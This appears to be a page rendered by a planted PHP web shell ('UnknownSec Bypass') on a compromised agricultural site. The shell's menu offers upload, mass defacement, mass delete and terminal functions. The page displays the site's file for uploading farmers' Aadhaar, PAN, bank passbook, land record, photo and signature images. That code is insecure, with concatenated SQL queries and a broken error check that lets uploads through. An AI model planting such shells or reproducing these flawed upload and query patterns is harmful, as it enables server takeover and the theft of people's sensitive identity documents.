UnknownSec Bypass
403
:
/
var
/
www
/
jpsagrisolution
/
cpanel
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
upload_farmer_document.php
<?php include "../panelassets/config.php"; if($_FILES['aadharfile']['name']){ $error=array(); $farmerid=mysqli_real_escape_string($conn, $_POST['fid']); $oldimagename=""; $query = "select aadhar_imagepath from farmerdocumenttb where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; $result = mysqli_query($conn,$query); while($row = mysqli_fetch_array($result)) { $oldimagename= $row["aadhar_imagepath"]; } if($oldimagename) { $removefilename="document_images/".$oldimagename; unlink($removefilename); } $aadhar_name=$_FILES['aadharfile']['name']; $aadhar_size=$_FILES['aadharfile']['size']; $aadhar_tmp=$_FILES['aadharfile']['tmp_name']; $aadhar_type=$_FILES['aadharfile']['type']; $file_ext=explode('.',$aadhar_name); $file_ext=strtolower(end($file_ext)); $extensions=array("jpeg","jpg","png"); if(in_array($file_ext,$extensions)===false){ $error[]="This extension file is not allowed, Please choose a JPG or PNG file."; } if($aadhar_size > 2097152) { $error="File size must be 2mb or lower."; } $aadharnew_name=time()."-".basename($aadhar_name); $aadhartarget="document_images/".$aadharnew_name; $aadharimage_name=$aadharnew_name; if(empty($errors)==true){ move_uploaded_file($aadhar_tmp,$aadhartarget); }else{ print_r($error); die(); } session_start(); $userid=$_SESSION['adminid']; $creationdatetime = date("Y-m-d H:m:s"); //$date=date("d M, Y"); $data=0; $message=""; $query = "select count(0) as count from farmerdocumenttb where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; $result = mysqli_query($conn,$query); while($row = mysqli_fetch_array($result)) { $message= $row["count"]; } if($message=="0") { $sql="INSERT INTO farmerdocumenttb(farmerid,aadhar_imagepath,isdeleted,creationuserid,creationdatetime) VALUES('{$farmerid}','{$aadharimage_name}','{$notdeleted}','{$userid}','{$creationdatetime}')"; if(mysqli_query($conn, $sql)) { echo json_encode(array('code'=>1, 'path'=>$aadharimage_name)); } } else { $sql="Update farmerdocumenttb set aadhar_imagepath='{$aadharimage_name}' where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; if(mysqli_query($conn, $sql)) { echo json_encode(array('code'=>1, 'path'=>$aadharimage_name)); } } } else if($_FILES['panfile']['name']){ $error=array(); $farmerid=mysqli_real_escape_string($conn, $_POST['fid']); $oldimagename=""; $query = "select pan_imagepath from farmerdocumenttb where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; $result = mysqli_query($conn,$query); while($row = mysqli_fetch_array($result)) { $oldimagename= $row["pan_imagepath"]; } if($oldimagename) { $removefilename="document_images/".$oldimagename; unlink($removefilename); } $aadhar_name=$_FILES['panfile']['name']; $aadhar_size=$_FILES['panfile']['size']; $aadhar_tmp=$_FILES['panfile']['tmp_name']; $aadhar_type=$_FILES['panfile']['type']; $file_ext=explode('.',$aadhar_name); $file_ext=strtolower(end($file_ext)); $extensions=array("jpeg","jpg","png"); if(in_array($file_ext,$extensions)===false){ $error[]="This extension file is not allowed, Please choose a JPG or PNG file."; } if($aadhar_size > 2097152) { $error="File size must be 2mb or lower."; } $aadharnew_name=time()."-".basename($aadhar_name); $aadhartarget="document_images/".$aadharnew_name; $aadharimage_name=$aadharnew_name; if(empty($errors)==true){ move_uploaded_file($aadhar_tmp,$aadhartarget); }else{ print_r($error); die(); } session_start(); $userid=$_SESSION['adminid']; $creationdatetime = date("Y-m-d H:m:s"); //$date=date("d M, Y"); $data=0; $message=""; $query = "select count(0) as count from farmerdocumenttb where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; $result = mysqli_query($conn,$query); while($row = mysqli_fetch_array($result)) { $message= $row["count"]; } if($message=="0") { $sql="INSERT INTO farmerdocumenttb(farmerid,pan_imagepath,isdeleted,creationuserid,creationdatetime) VALUES('{$farmerid}','{$aadharimage_name}','{$notdeleted}','{$userid}','{creationdatetime}')"; if(mysqli_query($conn, $sql)) { echo json_encode(array('code'=>2, 'path'=>$aadharimage_name)); } } else { $sql="Update farmerdocumenttb set pan_imagepath='{$aadharimage_name}' where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; if(mysqli_query($conn, $sql)) { echo json_encode(array('code'=>2, 'path'=>$aadharimage_name)); } } } else if($_FILES['bankfile']['name']){ $error=array(); $farmerid=mysqli_real_escape_string($conn, $_POST['fid']); $oldimagename=""; $query = "select bankpassbook_imagepath from farmerdocumenttb where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; $result = mysqli_query($conn,$query); while($row = mysqli_fetch_array($result)) { $oldimagename= $row["bankpassbook_imagepath"]; } if($oldimagename) { $removefilename="document_images/".$oldimagename; unlink($removefilename); } $aadhar_name=$_FILES['bankfile']['name']; $aadhar_size=$_FILES['bankfile']['size']; $aadhar_tmp=$_FILES['bankfile']['tmp_name']; $aadhar_type=$_FILES['bankfile']['type']; $file_ext=explode('.',$aadhar_name); $file_ext=strtolower(end($file_ext)); $extensions=array("jpeg","jpg","png"); if(in_array($file_ext,$extensions)===false){ $error[]="This extension file is not allowed, Please choose a JPG or PNG file."; } if($aadhar_size > 2097152) { $error="File size must be 2mb or lower."; } $aadharnew_name=time()."-".basename($aadhar_name); $aadhartarget="document_images/".$aadharnew_name; $aadharimage_name=$aadharnew_name; if(empty($errors)==true){ move_uploaded_file($aadhar_tmp,$aadhartarget); }else{ print_r($error); die(); } session_start(); $userid=$_SESSION['adminid']; $creationdatetime = date("Y-m-d H:m:s"); //$date=date("d M, Y"); $data=0; $message=""; $query = "select count(0) as count from farmerdocumenttb where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; $result = mysqli_query($conn,$query); while($row = mysqli_fetch_array($result)) { $message= $row["count"]; } if($message=="0") { $sql="INSERT INTO farmerdocumenttb(farmerid,bankpassbook_imagepath,isdeleted,creationuserid,creationdatetime) VALUES('{$farmerid}','{$aadharimage_name}','{$notdeleted}','{$userid}','{creationdatetime}')"; if(mysqli_query($conn, $sql)) { echo json_encode(array('code'=>3, 'path'=>$aadharimage_name)); } } else { $sql="Update farmerdocumenttb set bankpassbook_imagepath='{$aadharimage_name}' where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; if(mysqli_query($conn, $sql)) { echo json_encode(array('code'=>3, 'path'=>$aadharimage_name)); } } } else if($_FILES['khatunifile']['name']){ $error=array(); $farmerid=mysqli_real_escape_string($conn, $_POST['fid']); $oldimagename=""; $query = "select khatuni_imagepath from farmerdocumenttb where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; $result = mysqli_query($conn,$query); while($row = mysqli_fetch_array($result)) { $oldimagename= $row["khatuni_imagepath"]; } if($oldimagename) { $removefilename="document_images/".$oldimagename; unlink($removefilename); } $aadhar_name=$_FILES['khatunifile']['name']; $aadhar_size=$_FILES['khatunifile']['size']; $aadhar_tmp=$_FILES['khatunifile']['tmp_name']; $aadhar_type=$_FILES['khatunifile']['type']; $file_ext=explode('.',$aadhar_name); $file_ext=strtolower(end($file_ext)); $extensions=array("jpeg","jpg","png"); if(in_array($file_ext,$extensions)===false){ $error[]="This extension file is not allowed, Please choose a JPG or PNG file."; } if($aadhar_size > 2097152) { $error="File size must be 2mb or lower."; } $aadharnew_name=time()."-".basename($aadhar_name); $aadhartarget="document_images/".$aadharnew_name; $aadharimage_name=$aadharnew_name; if(empty($errors)==true){ move_uploaded_file($aadhar_tmp,$aadhartarget); }else{ print_r($error); die(); } session_start(); $userid=$_SESSION['adminid']; $creationdatetime = date("Y-m-d H:m:s"); //$date=date("d M, Y"); $data=0; $message=""; $query = "select count(0) as count from farmerdocumenttb where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; $result = mysqli_query($conn,$query); while($row = mysqli_fetch_array($result)) { $message= $row["count"]; } if($message=="0") { $sql="INSERT INTO farmerdocumenttb(farmerid,khatuni_imagepath,isdeleted,creationuserid,creationdatetime) VALUES('{$farmerid}','{$aadharimage_name}','{$notdeleted}','{$userid}','{creationdatetime}')"; if(mysqli_query($conn, $sql)) { echo json_encode(array('code'=>4, 'path'=>$aadharimage_name)); } } else { $sql="Update farmerdocumenttb set khatuni_imagepath='{$aadharimage_name}' where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; if(mysqli_query($conn, $sql)) { echo json_encode(array('code'=>4, 'path'=>$aadharimage_name)); } } } else if($_FILES['photofile']['name']){ $error=array(); $farmerid=mysqli_real_escape_string($conn, $_POST['fid']); $oldimagename=""; $query = "select photo_imagepath from farmerdocumenttb where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; $result = mysqli_query($conn,$query); while($row = mysqli_fetch_array($result)) { $oldimagename= $row["photo_imagepath"]; } if($oldimagename) { $removefilename="document_images/".$oldimagename; unlink($removefilename); } $aadhar_name=$_FILES['photofile']['name']; $aadhar_size=$_FILES['photofile']['size']; $aadhar_tmp=$_FILES['photofile']['tmp_name']; $aadhar_type=$_FILES['photofile']['type']; $file_ext=explode('.',$aadhar_name); $file_ext=strtolower(end($file_ext)); $extensions=array("jpeg","jpg","png"); if(in_array($file_ext,$extensions)===false){ $error[]="This extension file is not allowed, Please choose a JPG or PNG file."; } if($aadhar_size > 2097152) { $error="File size must be 2mb or lower."; } $aadharnew_name=time()."-".basename($aadhar_name); $aadhartarget="document_images/".$aadharnew_name; $aadharimage_name=$aadharnew_name; if(empty($errors)==true){ move_uploaded_file($aadhar_tmp,$aadhartarget); }else{ print_r($error); die(); } session_start(); $userid=$_SESSION['adminid']; $creationdatetime = date("Y-m-d H:m:s"); //$date=date("d M, Y"); $data=0; $message=""; $query = "select count(0) as count from farmerdocumenttb where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; $result = mysqli_query($conn,$query); while($row = mysqli_fetch_array($result)) { $message= $row["count"]; } if($message=="0") { $sql="INSERT INTO farmerdocumenttb(farmerid,photo_imagepath,isdeleted,creationuserid,creationdatetime) VALUES('{$farmerid}','{$aadharimage_name}','{$notdeleted}','{$userid}','{creationdatetime}')"; if(mysqli_query($conn, $sql)) { echo json_encode(array('code'=>5, 'path'=>$aadharimage_name)); } } else { $sql="Update farmerdocumenttb set photo_imagepath='{$aadharimage_name}' where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; if(mysqli_query($conn, $sql)) { echo json_encode(array('code'=>5, 'path'=>$aadharimage_name)); } } } else if($_FILES['signfile']['name']){ $error=array(); $farmerid=mysqli_real_escape_string($conn, $_POST['fid']); $oldimagename=""; $query = "select sign_imagepath from farmerdocumenttb where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; $result = mysqli_query($conn,$query); while($row = mysqli_fetch_array($result)) { $oldimagename= $row["sign_imagepath"]; } if($oldimagename) { $removefilename="document_images/".$oldimagename; unlink($removefilename); } $aadhar_name=$_FILES['signfile']['name']; $aadhar_size=$_FILES['signfile']['size']; $aadhar_tmp=$_FILES['signfile']['tmp_name']; $aadhar_type=$_FILES['signfile']['type']; $file_ext=explode('.',$aadhar_name); $file_ext=strtolower(end($file_ext)); $extensions=array("jpeg","jpg","png"); if(in_array($file_ext,$extensions)===false){ $error[]="This extension file is not allowed, Please choose a JPG or PNG file."; } if($aadhar_size > 2097152) { $error="File size must be 2mb or lower."; } $aadharnew_name=time()."-".basename($aadhar_name); $aadhartarget="document_images/".$aadharnew_name; $aadharimage_name=$aadharnew_name; if(empty($errors)==true){ move_uploaded_file($aadhar_tmp,$aadhartarget); }else{ print_r($error); die(); } session_start(); $userid=$_SESSION['adminid']; $creationdatetime = date("Y-m-d H:m:s"); //$date=date("d M, Y"); $data=0; $message=""; $query = "select count(0) as count from farmerdocumenttb where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; $result = mysqli_query($conn,$query); while($row = mysqli_fetch_array($result)) { $message= $row["count"]; } if($message=="0") { $sql="INSERT INTO farmerdocumenttb(farmerid,sign_imagepath,isdeleted,creationuserid,creationdatetime) VALUES('{$farmerid}','{$aadharimage_name}','{$notdeleted}','{$userid}','{creationdatetime}')"; if(mysqli_query($conn, $sql)) { echo json_encode(array('code'=>6, 'path'=>$aadharimage_name)); } } else { $sql="Update farmerdocumenttb set sign_imagepath='{$aadharimage_name}' where farmerid='".$farmerid."' and isdeleted='".$notdeleted."'"; if(mysqli_query($conn, $sql)) { echo json_encode(array('code'=>6, 'path'=>$aadharimage_name)); } } } else { echo json_encode(array('code'=>0, 'path'=>'File Upload failed')); } ?>
Copyright © 2025 - UnknownSec